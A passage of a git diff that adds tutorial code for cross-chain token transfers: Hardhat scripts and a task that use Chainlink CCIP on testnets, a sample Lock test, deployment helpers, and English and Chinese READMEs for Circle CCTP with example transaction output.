+  console.log('send successfully, and the hash is: ', recepit.hash);
+  saveRedpacketDeployment({
+    ccipCrossChainTokenHash: recepit.hash,
+  });
+
+  console.log(
+    'send cross chain data successfully. please be patient, it may takes about 15 minutes to finalize cross chain data, and you can check the result by visiting: https://ccip.chain.link/'
+  );
+
+  // todo: get finalizing result by via GET request
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/5-checkResultOnReceiveCrossChainOnMumbai.js b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/5-checkResultOnReceiveCrossChainOnMumbai.js
new file mode 100644
index 000000000..b399fafd5
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/scripts/sendCrossChainToken/5-checkResultOnReceiveCrossChainOnMumbai.js
@@ -0,0 +1,31 @@
+const { ethers } = require('hardhat');
+const { readRedpacketDeployment } = require('../../utils');
+
+const ccipBnMTokenAddress = '0xf1E3A5842EeEF51F2967b3F05D45DD4f4205FF40'; // sepolia
+
+async function main() {
+  const [deployer] = await ethers.getSigners();
+  const deployment = readRedpacketDeployment();
+
+  // console.log(ethers)
+  // CCIP-BnM token address on Polygon Mumbai is fixed
+  const ccipBnM = await ethers.getContractAt('SimpleToken', ccipBnMTokenAddress, deployer);
+  let balance = await ccipBnM.balanceOf(deployment.tokenTransferorReceiverAddress);
+
+  console.log('ccipBnM balance of Mumbai side is: ', balance);
+
+  // rceive cross chain data
+  const rceiver = await ethers.getContractAt('ProgrammableTokenTransfers', deployment.tokenTransferorReceiverAddress, deployer);
+
+  const tx = await rceiver.getLastReceivedMessageDetails();
+  console.log('getLastReceivedMessageDetails: ', tx);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main();
+// .then(() => process.exit(0))
+// .catch((error) => {
+//   console.error(error);
+//   process.exit(1);
+// });
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/tasks/index.js b/basic/80-crossChainTransfer/chainlinkCCIP/tasks/index.js
new file mode 100644
index 000000000..29704c1a2
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/tasks/index.js
@@ -0,0 +1 @@
+exports.sendToken = require('./sendToken.js');
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/tasks/sendToken.js b/basic/80-crossChainTransfer/chainlinkCCIP/tasks/sendToken.js
new file mode 100644
index 000000000..81e76a3de
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/tasks/sendToken.js
@@ -0,0 +1,169 @@
+// const hre = require('hardhat');
+require('dotenv').config();
+const fs = require('fs');
+const ERC20ABI = require('@chainlink/contracts/abi/v0.8/ERC20.json');
+
+const senderRouter = '0x2a9C5afB0d0e4BAb2BCdaE109EC4b0c4Be15a165'; //  Arbitrum Sepolia testnet
+const linkTokenAddress = '0xb1D4538B4571d411F07960EF2838Ce337FE1E80E'; //  Arbitrum Sepolia testnet
+const CCIPBNMTokenAddress = '0xA8C0c11bf64AF62CDCA6f93D3769B88BdD7cb93D'; // Arbitrum Sepolia testnet
+const destinationChainSelector = '16015286601757825753'; // 目标区块链的 CCIP 链标识符。 Sepolia
+
+task('sendToken', 'send token by ccip')
+  .addParam('type', 'token')
+  .setAction(async (taskArgs) => {
+    console.log('type', taskArgs.type);
+    const privateKey = process.env.PRIVATE_KEY;
+    if (!privateKey) {
+      console.log('Please set privateKey');
+      return;
+    }
+    await senderFunction(taskArgs.type);
+  });
+
+async function senderFunction(type) {
+  const [deployer] = await ethers.getSigners();
+  console.log('Deploying contracts with the account:', deployer.address);
+  const SenderByToken = await ethers.getContractFactory('TokenTransferor');
+  const SenderByTokenInstance = await SenderByToken.deploy(senderRouter, linkTokenAddress);
+  await SenderByTokenInstance.waitForDeployment();
+  try {
+    if (SenderByTokenInstance.target) {
+      console.log('SenderByTokenInstance.address', SenderByTokenInstance.target);
+      const res = await transfer(CCIPBNMTokenAddress, SenderByTokenInstance, deployer, '0.1', true);
+      if (!res) {
+        console.log('transfer error');
+        return;
+      }
+      if (type === 'link') {
+        const newRes = await transfer(linkTokenAddress, SenderByTokenInstance, deployer, '0.5', false);
+        if (!newRes) {
+          console.log('transfer error');
+          return;
+        }
+        await transferTokensPayLINK(SenderByTokenInstance.target);
+      } else {
+        const newRes = await transfer('0x00eth', SenderByTokenInstance, deployer, '0.01', false);
+        if (!newRes) {
+          console.log('transfer error');
+          return;
+        }
+        await transferTokensPayNative(SenderByTokenInstance.target);
+      }
+    }
+    return SenderByTokenInstance;
+  } catch (error) {
+    console.log('senderFunction error', error);
+    return null;
+  }
+}
+
+async function transfer(tokenAddress, SenderByTokenInstance, deployer, amountNumber, isCallBack) {
+  const web3Provider = new ethers.JsonRpcProvider('https://arbitrum-sepolia.infura.io/v3/' + process.env.INFURA_ID);
+  const wallet = new ethers.Wallet(process.env.PRIVATE_KEY, web3Provider);
+  if (tokenAddress === '0x00eth') {
+    const amount = ethers.parseEther(amountNumber);
+    try {
+      const balance = await web3Provider.getBalance(wallet.address);
+      // 检查余额是否足够
+      if (balance >= amount) {
+        // 构造交易对象
+        const transaction = {
+          to: SenderByTokenInstance.target, // 合约地址
+          value: amount, // 发送的ETH数量
+        };
+
+        // 发送交易
+        const tx = await wallet.sendTransaction(transaction);
+        console.log('Transaction:', tx.hash);
+
+        // 等待交易确认
+        await tx.wait();
+        console.log('contractBalance', await web3Provider.getBalance(SenderByTokenInstance.target));
+        return true;
+      } else {
+        console.log('Please get some ETH first');
+        return false;
+      }
+    } catch (error) {
+      console.error('Error sending ETH:', error);
+      return false;
+    }
+  } else {
+    const tokenContract = new ethers.Contract(tokenAddress, ERC20ABI, wallet);
+    const balance = await tokenContract.balanceOf(deployer.address);
+    console.log(tokenAddress + ' balance:', balance.toString());
+    if (balance < ethers.parseUnits(amountNumber, 18)) {
+      console.log('Please get some LINK first');
+      return;
+    }
+    if (!SenderByTokenInstance) {
+      console.log('Please deploy contract Receiver first');
+      return;
+    }
+    try {
+      const amount = ethers.parseUnits(amountNumber, 18);
+      console.log('SenderByTokenInstance.target', SenderByTokenInstance.target);
+      const tx = await tokenContract.transfer(SenderByTokenInstance.target, amount);
+      await tx.wait();
+      console.log('transfer success');
+      // await sendMessage(SenderInstance);
+      if (isCallBack) {
+        await allowlistDestinationChain(SenderByTokenInstance);
+      }
+      return true;
+    } catch (e) {
+      console.log('transfer error', e);
+      return false;
+    }
+  }
+}
+
+async function transferTokensPayLINK(SenderByTokenAddress) {
+  // 获取合约实例
+  const wallet = new ethers.Wallet(process.env.PRIVATE_KEY);
+  const SenderByTokenInstance = await ethers.getContractAt('TokenTransferor', SenderByTokenAddress);
+  if (SenderByTokenInstance) {
+    console.log('transfer token by link====================');
+    const amount = ethers.parseUnits('0.01', 18);
+    try {
+      const tx = await SenderByTokenInstance.transferTokensPayLINK(BigInt(destinationChainSelector), wallet.address, CCIPBNMTokenAddress, amount);
+      await tx.wait();
+      console.log('transfer token by link success', tx);
+    } catch (error) {
+      console.log('transferTokensPayLINK error', error);
+    }
+  } else {
+    console.log('Please deploy contract Sender first');
+  }
+}
+
+async function transferTokensPayNative(SenderByTokenAddress) {
+  // 获取合约实例
+  const wallet = new ethers.Wallet(process.env.PRIVATE_KEY);
+  const SenderByTokenInstance = await ethers.getContractAt('TokenTransferor', SenderByTokenAddress);
+  if (SenderByTokenInstance) {
+    console.log('transfer token by token====================');
+    const amount = ethers.parseUnits('0.01', 18);
+    try {
+      console.log('destinationChainSelector:', destinationChainSelector);
+      console.log('wallet.address:', wallet.address);
+      console.log('CCIPBNMTokenAddress:', CCIPBNMTokenAddress);
+      console.log('amount:', amount);
+      const tx = await SenderByTokenInstance.transferTokensPayNative(BigInt(destinationChainSelector), wallet.address, CCIPBNMTokenAddress, amount);
+      await tx.wait();
+      console.log('transfer token by token success', tx);
+    } catch (error) {
+      console.log('transferTokensPayNative error', error);
+    }
+  } else {
+    console.log('Please deploy contract Sender first');
+  }
+}
+
+async function allowlistDestinationChain(SenderByTokenInstance) {
+  const tx = await SenderByTokenInstance.allowlistDestinationChain(destinationChainSelector, true);
+  await tx.wait();
+  console.log('allowlistDestinationChain tx  sucessss');
+}
+
+module.exports = {};
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/test/LockSample.js b/basic/80-crossChainTransfer/chainlinkCCIP/test/LockSample.js
new file mode 100644
index 000000000..f0e6ba1b2
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/test/LockSample.js
@@ -0,0 +1,126 @@
+const {
+  time,
+  loadFixture,
+} = require("@nomicfoundation/hardhat-toolbox/network-helpers");
+const { anyValue } = require("@nomicfoundation/hardhat-chai-matchers/withArgs");
+const { expect } = require("chai");
+
+describe("Lock", function () {
+  // We define a fixture to reuse the same setup in every test.
+  // We use loadFixture to run this setup once, snapshot that state,
+  // and reset Hardhat Network to that snapshot in every test.
+  async function deployOneYearLockFixture() {
+    const ONE_YEAR_IN_SECS = 365 * 24 * 60 * 60;
+    const ONE_GWEI = 1_000_000_000;
+
+    const lockedAmount = ONE_GWEI;
+    const unlockTime = (await time.latest()) + ONE_YEAR_IN_SECS;
+
+    // Contracts are deployed using the first signer/account by default
+    const [owner, otherAccount] = await ethers.getSigners();
+
+    const Lock = await ethers.getContractFactory("Lock");
+    const lock = await Lock.deploy(unlockTime, { value: lockedAmount });
+
+    return { lock, unlockTime, lockedAmount, owner, otherAccount };
+  }
+
+  describe("Deployment", function () {
+    it("Should set the right unlockTime", async function () {
+      const { lock, unlockTime } = await loadFixture(deployOneYearLockFixture);
+
+      expect(await lock.unlockTime()).to.equal(unlockTime);
+    });
+
+    it("Should set the right owner", async function () {
+      const { lock, owner } = await loadFixture(deployOneYearLockFixture);
+
+      expect(await lock.owner()).to.equal(owner.address);
+    });
+
+    it("Should receive and store the funds to lock", async function () {
+      const { lock, lockedAmount } = await loadFixture(
+        deployOneYearLockFixture
+      );
+
+      expect(await ethers.provider.getBalance(lock.target)).to.equal(
+        lockedAmount
+      );
+    });
+
+    it("Should fail if the unlockTime is not in the future", async function () {
+      // We don't use the fixture here because we want a different deployment
+      const latestTime = await time.latest();
+      const Lock = await ethers.getContractFactory("Lock");
+      await expect(Lock.deploy(latestTime, { value: 1 })).to.be.revertedWith(
+        "Unlock time should be in the future"
+      );
+    });
+  });
+
+  describe("Withdrawals", function () {
+    describe("Validations", function () {
+      it("Should revert with the right error if called too soon", async function () {
+        const { lock } = await loadFixture(deployOneYearLockFixture);
+
+        await expect(lock.withdraw()).to.be.revertedWith(
+          "You can't withdraw yet"
+        );
+      });
+
+      it("Should revert with the right error if called from another account", async function () {
+        const { lock, unlockTime, otherAccount } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        // We can increase the time in Hardhat Network
+        await time.increaseTo(unlockTime);
+
+        // We use lock.connect() to send a transaction from another account
+        await expect(lock.connect(otherAccount).withdraw()).to.be.revertedWith(
+          "You aren't the owner"
+        );
+      });
+
+      it("Shouldn't fail if the unlockTime has arrived and the owner calls it", async function () {
+        const { lock, unlockTime } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        // Transactions are sent using the first signer by default
+        await time.increaseTo(unlockTime);
+
+        await expect(lock.withdraw()).not.to.be.reverted;
+      });
+    });
+
+    describe("Events", function () {
+      it("Should emit an event on withdrawals", async function () {
+        const { lock, unlockTime, lockedAmount } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        await time.increaseTo(unlockTime);
+
+        await expect(lock.withdraw())
+          .to.emit(lock, "Withdrawal")
+          .withArgs(lockedAmount, anyValue); // We accept any value as `when` arg
+      });
+    });
+
+    describe("Transfers", function () {
+      it("Should transfer the funds to the owner", async function () {
+        const { lock, unlockTime, lockedAmount, owner } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        await time.increaseTo(unlockTime);
+
+        await expect(lock.withdraw()).to.changeEtherBalances(
+          [owner, lock],
+          [lockedAmount, -lockedAmount]
+        );
+      });
+    });
+  });
+});
diff --git a/basic/80-crossChainTransfer/chainlinkCCIP/utils/index.js b/basic/80-crossChainTransfer/chainlinkCCIP/utils/index.js
new file mode 100644
index 000000000..2a495aea6
--- /dev/null
+++ b/basic/80-crossChainTransfer/chainlinkCCIP/utils/index.js
@@ -0,0 +1,113 @@
+// read and save redpacket contract deployment json file
+const path = require("path");
+const fs = require("fs");
+const hre = require("hardhat");
+
+const currentNamework = hre.network.name;
+const DEPLOYMENGT_DIR = path.join(
+  __dirname,
+  "../scripts/deployment.json",
+);
+
+const AddressZero = "0x0000000000000000000000000000000000000000";
+
+async function deployContract(name, params, deployer = undefined) {
+  const contract = await hre.ethers.deployContract(name, params, deployer);
+  await contract.waitForDeployment();
+  // @todo 临时处理
+  contract.address = contract.target;
+  return contract;
+}
+
+/*
+ * deployment:
+ *   redPacketAddress
+ *   redPacketOwner
+ *   redPacketID
+ *   simpleTokenAddress
+ */
+function readRedpacketDeployment() {
+  if (!fs.existsSync(DEPLOYMENGT_DIR)) return null;
+  try {
+    return JSON.parse(fs.readFileSync(DEPLOYMENGT_DIR, { encoding: "utf-8" }));
+  } catch {
+    return null;
+  }
+}
+
+function saveRedpacketDeployment(payload) {
+  let oldData = readRedpacketDeployment();
+  if (!oldData) oldData = {};
+  fs.writeFileSync(
+    DEPLOYMENGT_DIR,
+    JSON.stringify({
+      ...oldData,
+      ...payload,
+    }),
+    { flag: "w+" },
+  );
+  return true;
+}
+
+async function verifyContract(
+  contractNameOrAddress,
+  network = hre.network.name,
+  constructorArguments = null,
+) {
+  if (network == "hardhat" || network == "localhost") {
+    console.log("hardhat network skip verifyContract");
+    return;
+  }
+
+  let address;
+  if (isAddress(contractNameOrAddress)) {
+    address = contractNameOrAddress;
+  } else {
+    const data = fs.readFileSync(DEPLOYMENGT_DIR, "utf8");
+    const addresses = JSON.parse(data);
+    address = addresses[contractNameOrAddress];
+  }
+
+  if (!address) {
+    console.error("verifyContract error: Contract depoloyment not found.");
+    return;
+  }
+
+  let params = {
+    address,
+    network,
+    constructorArguments: [],
+  };
+  if (constructorArguments) {
+    params.constructorArguments = constructorArguments;
+  }
+
+  try {
+    await hre.run("verify:verify", params);
+    console.log("verifyContract successfully!");
+  } catch (e) {
+    console.error("verifyContract error:", e);
+  }
+}
+
+function isAddress(str) {
+  return /^0x[a-fA-F0-9]{40}$/.test(str);
+}
+
+function hashToken(account) {
+  return Buffer.from(
+    hre.ethers.solidityPackedKeccak256(["address"], [account]).slice(2),
+    "hex",
+  );
+}
+
+module.exports = {
+  AddressZero,
+  deployContract,
+  DEPLOYMENGT_DIR,
+  isAddress,
+  verifyContract,
+  readRedpacketDeployment,
+  saveRedpacketDeployment,
+  hashToken,
+};
diff --git a/basic/80-crossChainTransfer/circle-cctp/.env.example b/basic/80-crossChainTransfer/circle-cctp/.env.example
new file mode 100644
index 000000000..42f9a7809
--- /dev/null
+++ b/basic/80-crossChainTransfer/circle-cctp/.env.example
@@ -0,0 +1,3 @@
+ALCHEMY_KEY=
+SEPOLIA_ACCOUNT_PK=
+AVAX_FUJI_PRIVATE_KEY=
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/circle-cctp/.gitignore b/basic/80-crossChainTransfer/circle-cctp/.gitignore
new file mode 100644
index 000000000..66c4dc1e0
--- /dev/null
+++ b/basic/80-crossChainTransfer/circle-cctp/.gitignore
@@ -0,0 +1,31 @@
+_cjs
+_esm
+_types
+*.local
+.DS_Store
+.eslintcache
+.next
+bench
+cache
+coverage
+node_modules
+tsconfig*.tsbuildinfo
+
+# local env files
+.env
+.env.local
+.env.development.local
+.env.test.local
+.env.production.local
+.envrc
+
+# tests
+generated.ts
+vectors/**/*.json
+
+# docs
+site/dist
+.vercel
+
+# build
+dist/
\ No newline at end of file
diff --git a/basic/80-crossChainTransfer/circle-cctp/README-cn.md b/basic/80-crossChainTransfer/circle-cctp/README-cn.md
new file mode 100644
index 000000000..d71085ed5
--- /dev/null
+++ b/basic/80-crossChainTransfer/circle-cctp/README-cn.md
@@ -0,0 +1,209 @@
+中文 / [English](./README.md)
+
+# Circle CCTP
+
+## 概览
+
+跨链转账协议（CCTP）是一个无需许可的链上工具，通过原生的 burn 和 mint 机制，在区块链网络之间安全地转移 USDC。提高使用跨区块链网络 USDC 时的资本效率。CCTP 使开发者能够构建多链应用，为用户提供跨区块链的安全、1:1 的 USDC 转账。
+
+## 工作原理
+
+在源链上燃烧 USDC：在源链上燃烧指定数量的 USDC。
+从 Circle 获取签名的证明：Circle 观察并证明源链上的 brun 事件。从 Circle 请求证明，Circle 提供授权在目的链上铸造指定数量的 USDC。
+在目标链上铸造 USDC：使用证明触发 USDC 的 mint，并发送到接收者的钱包地址。
+
+跨链转账协议（CCTP）消息传递机制，在支持的区块链之间 burn 和 mint USDC，这一过程包括三个步骤：
+
+1. 源域上的链上组件发出消息。
+2. Circle 的链下证明服务对消息进行签名。
+3. 目的域上的链上组件接收消息，并将消息体转发给指定的接收者。
+
+## Get-Started
+
+将 USDC 从 Ethereum 测试网 跨链到 Avalanche 测试网
+
+- install
+
+```sh
+pnpm install
+```
+
+- run script
+
+```sh
+pnpm start
+```
+
+### Script Output
+
+```sh
+Ethereum Sepolia testnet Wallet address: 0xe45d43FEb3F65B4587510A68722450b629154e6f
+Avalache Fuji testnet Wallet address: 0xe45d43FEb3F65B4587510A68722450b629154e6f
+sepolia test USDC balanceOf     9900000
+Amount that will be transferred 100000
+
+STEP 1: Approve messenger contract to withdraw from our active eth address
+ApproveTx 0x3a6e906cfd6d6af92ae0520662dd40d126f6e8cb1e76c0b98904d2e3e5739a4f
+ApproveTxReceipt:  {
+  ...
+}
+
+STEP 2: Burn USDC
+BurnTx 0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616
+BurnTxReceipt:  {
+  blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+  blockNumber: 5334096n,
+  contractAddress: null,
+  cumulativeGasUsed: 10852617n,
+  effectiveGasPrice: 5774590432n,
+  from: '0xe45d43feb3f65b4587510a68722450b629154e6f',
+  gasUsed: 103504n,
+  logs: [
+    {
+      address: '0x1c7d4b196cb0c7b01d743fbc6116a902379c7238',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 5334096n,
+      transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+      transactionIndex: 106,
+      blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+      logIndex: 171,
+      removed: false
+    },
+    {
+      address: '0x1c7d4b196cb0c7b01d743fbc6116a902379c7238',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 5334096n,
+      transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+      transactionIndex: 106,
+      blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+      logIndex: 172,
+      removed: false
+    },
+    {
+      address: '0x1c7d4b196cb0c7b01d743fbc6116a902379c7238',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 5334096n,
+      transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+      transactionIndex: 106,
+      blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+      logIndex: 173,
+      removed: false
+    },
+    {
+      address: '0x7865fafc2db2093669d92c0f33aeef291086befd',
+      topics: [Array],
+      data: '0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000f8000000000000000000000001000000000003ec700000000000000000000000009f3b8679c73c2fef8b59b4f3444d4e156fb70aa5000000000000000000000000eb08f243e5d3fcff26a9e38ae5520a669f4019d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c7d4b196cb0c7b01d743fbc6116a902379c7238000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f00000000000000000000000000000000000000000000000000000000000186a0000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f0000000000000000',
+      blockNumber: 5334096n,
+      transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+      transactionIndex: 106,
+      blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+      logIndex: 174,
+      removed: false
+    },
+    {
+      address: '0x9f3b8679c73c2fef8b59b4f3444d4e156fb70aa5',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000eb08f243e5d3fcff26a9e38ae5520a669f4019d00000000000000000000000000000000000000000000000000000000000000000',
+      blockNumber: 5334096n,
+      transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+      transactionIndex: 106,
+      blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+      logIndex: 175,
+      removed: false
+    }
+  ],
+  logsBloom: '0x00000000000000000000000000000000000000000000001000000000000200002000000000000200000000000000000000002010000004000000000000000000100000000000000000000008000000000000000000000000000200020000000001000000022000400000000000000800080000000040000000100010100000000000000000101004000000000000000000000000000000000000000000200000000000000000000000000000000000040000008000000000000000000000000000000002000000000480000000000000000000000000000000000000020020000000000400000020000010000000000000080000000000000000000000000000',
+  status: 'success',
+  to: '0x9f3b8679c73c2fef8b59b4f3444d4e156fb70aa5',
+  transactionHash: '0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616',
+  transactionIndex: 106,
+  type: 'eip1559'
+}
+
+STEP 3: Retrieve message bytes from logs
+
+message
+0x000000000000000000000001000000000003ec700000000000000000000000009f3b8679c73c2fef8b59b4f3444d4e156fb70aa5000000000000000000000000eb08f243e5d3fcff26a9e38ae5520a669f4019d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c7d4b196cb0c7b01d743fbc6116a902379c7238000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f00000000000000000000000000000000000000000000000000000000000186a0000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f
+
+messageHash 0x921854a0cc7746e05082591412747ffa0c497e6c4785504b29061c5d36b0e1b0
+
+STEP 4: Fetch attestation signature
+Signature: 0x5c515abc1964dfe1e46a4a4daacb897a24d586e15d0ff93617e8f22793ed6192565957db1dc55b4011409f4b7dbb4e072a8365fa11071b393c41a6e2527a1b421c6d49f035e9665c55568afea143e3490fa8a1d5f6409fbc94956a9a95cfe258f6236e0805e96080d8347153d64d8823983e9cdfbdb08140d1933b3d8f874356551c
+
+STEP 5: Using the message bytes and signature recieve the funds on destination chain and address
+ReceiveTx 0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4
+
+ReceiveTxReceipt:  {
+  blockHash: '0xc7635b7727dd31d44f7b75edfb7298cfe661da5c8910fda8eaa1638a98b9fc68',
+  blockNumber: 30168739n,
+  contractAddress: null,
+  cumulativeGasUsed: 325719n,
+  effectiveGasPrice: 25000000000n,
+  from: '0xe45d43feb3f65b4587510a68722450b629154e6f',
+  gasUsed: 143755n,
+  logs: [
+    {
+      address: '0x5425890298aed601595a70ab815c96711a31bc65',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 30168739n,
+      transactionHash: '0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4',
+      transactionIndex: 1,
+      blockHash: '0xc7635b7727dd31d44f7b75edfb7298cfe661da5c8910fda8eaa1638a98b9fc68',
+      logIndex: 2,
+      removed: false
+    },
+    {
+      address: '0x5425890298aed601595a70ab815c96711a31bc65',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 30168739n,
+      transactionHash: '0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4',
+      transactionIndex: 1,
+      blockHash: '0xc7635b7727dd31d44f7b75edfb7298cfe661da5c8910fda8eaa1638a98b9fc68',
+      logIndex: 3,
+      removed: false
+    },
+    {
+      address: '0xeb08f243e5d3fcff26a9e38ae5520a669f4019d0',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000186a0',
+      blockNumber: 30168739n,
+      transactionHash: '0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4',
+      transactionIndex: 1,
+      blockHash: '0xc7635b7727dd31d44f7b75edfb7298cfe661da5c8910fda8eaa1638a98b9fc68',
+      logIndex: 4,
+      removed: false
+    },
+    {
+      address: '0xa9fb1b3009dcb79e2fe346c16a604b8fa8ae0a79',
+      topics: [Array],
+      data: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009f3b8679c73c2fef8b59b4f3444d4e156fb70aa500000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084000000000000000000000000000000001c7d4b196cb0c7b01d743fbc6116a902379c7238000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f00000000000000000000000000000000000000000000000000000000000186a0000000000000000000000000e45d43feb3f65b4587510a68722450b629154e6f00000000000000000000000000000000000000000000000000000000',
+      blockNumber: 30168739n,
+      transactionHash: '0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4',
+      transactionIndex: 1,
+      blockHash: '0xc7635b7727dd31d44f7b75edfb7298cfe661da5c8910fda8eaa1638a98b9fc68',
+      logIndex: 5,
+      removed: false
+    }
+  ],
+  logsBloom: '0x0000000000000000008000000000000100004000000000000000010000200000200000000400000000000000000002000000a000000000000000000000000000000000000000000000000008000000000080000000000000000000200000000001020000020000000000000000012800000000000000000000400010000000000000000000000400000000001000000000000000000002000000000000010400000000000000000004100000000000040000000000000000000000000000000000000002000010000080000000000000000000000000000000000000020020000000000000000000000000000000004000000000000800000000000000000000',
+  status: 'success',
+  to: '0xa9fb1b3009dcb79e2fe346c16a604b8fa8ae0a79',
+  transactionHash: '0xa4960f3caad924ffd6982bde512dff930cc1276e4d2ea92b7ab2f1f81bf17bc4',
+  transactionIndex: 1,
+  type: 'eip1559'
+}
+Check USDC on Avax testnet balanceOf 10000
+```
+
+## 参考链接
+
+- doc <https://developers.circle.com/stablecoins/docs/transfer-usdc-on-testnet-from-ethereum-to-avalanche>
+
+- contract deployment <https://developers.circle.com/stablecoins/docs/evm-smart-contracts>
+
+- USDC Testnet faucet <https://faucet.circle.com/?_gl=1*ouhs7l*_ga_GJDVPCQNRV*MTcwODUwNDQ1OC4zLjEuMTcwODUwNDQ5MS4yNy4wLjA>
diff --git a/basic/80-crossChainTransfer/circle-cctp/README.md b/basic/80-crossChainTransfer/circle-cctp/README.md
new file mode 100644
index 000000000..200a50a6f
--- /dev/null
+++ b/basic/80-crossChainTransfer/circle-cctp/README.md
@@ -0,0 +1,211 @@
+[中文](./README-cn.md) / English
+
+# Circle CCTP
+
+## Overview
+
+Cross-Chain Transfer Protocol (CCTP) is a permissionless on-chain utility that facilitates USDC transfers securely between blockchains networks via native burning and minting. Circle created it to improve capital efficiency and minimize trust requirements when using USDC across blockchain networks. CCTP enables developers to build multi-chain applications that provide secure, 1:1 transfers of USDC across blockchains for their users.
+
+## How it works
+
+USDC is burned on the source chain: Using an app, a user initiates a transfer of USDC from one blockchain to another, and specifies the recipient wallet address on the destination chain. The app facilitates a burn of the specified amount of USDC on the source chain.
+A signed attestation is fetched from Circle: Circle observes and attests to the burn event on the source chain. The app requests the attestation from Circle, which provides authorization to mint the specified amount of USDC on the destination chain.
+USDC is minted on the destination chain: The app uses the attestation to trigger the minting of USDC. The specified amount of USDC is minted on the destination chain and sent to the recipient wallet address.
+
+Cross-Chain Transfer Protocol (CCTP) uses generalized message passing to facilitate the native burning and minting of USDC across supported blockchains, also known as domains. Message passing is a three-step process:
+
+1. An on-chain component on source domain emits a message.
+2. Circle's off-chain attestation service signs the message.
+3. The on-chain component at the destination domain receives the message, and forwards the message body to the specified recipient.
+
+![CCTP_Smart_Contract_Flow](https://files.readme.io/fcb147b-Smart_Contract_Flow.png)
+
+## Get-Started
+
+Transfer USDC on testnet from Ethereum to Avalanche
+
+- install
+
+```sh
+pnpm install
+```
+
+- run script
+
+```sh
+pnpm start
+```
+
+### Script Output
+
+```sh
+Ethereum Sepolia testnet Wallet address: 0xe45d43FEb3F65B4587510A68722450b629154e6f
+Avalache Fuji testnet Wallet address: 0xe45d43FEb3F65B4587510A68722450b629154e6f
+sepolia test USDC balanceOf     9900000
+Amount that will be transferred 100000
+
+STEP 1: Approve messenger contract to withdraw from our active eth address
+ApproveTx 0x3a6e906cfd6d6af92ae0520662dd40d126f6e8cb1e76c0b98904d2e3e5739a4f
+ApproveTxReceipt:  {
+  ...
+}
+
+STEP 2: Burn USDC
+BurnTx 0x95d6a57ce1c4cc35e50cf7561dcbe6bc1df0924912a13d5c293d23472cad6616
+BurnTxReceipt:  {
+  blockHash: '0x895655d141bc5d34c49d9bf47b3678bedfd43f6f1450a9547653a4196ca3b456',
+  blockNumber: 5334096n,
+  contractAddress: null,
+  cumulativeGasUsed: 10852617n,
+  effectiveGasPrice: 5774590432n,
+  from: '0xe45d43feb3f65b4587510a68722450b629154e6f',
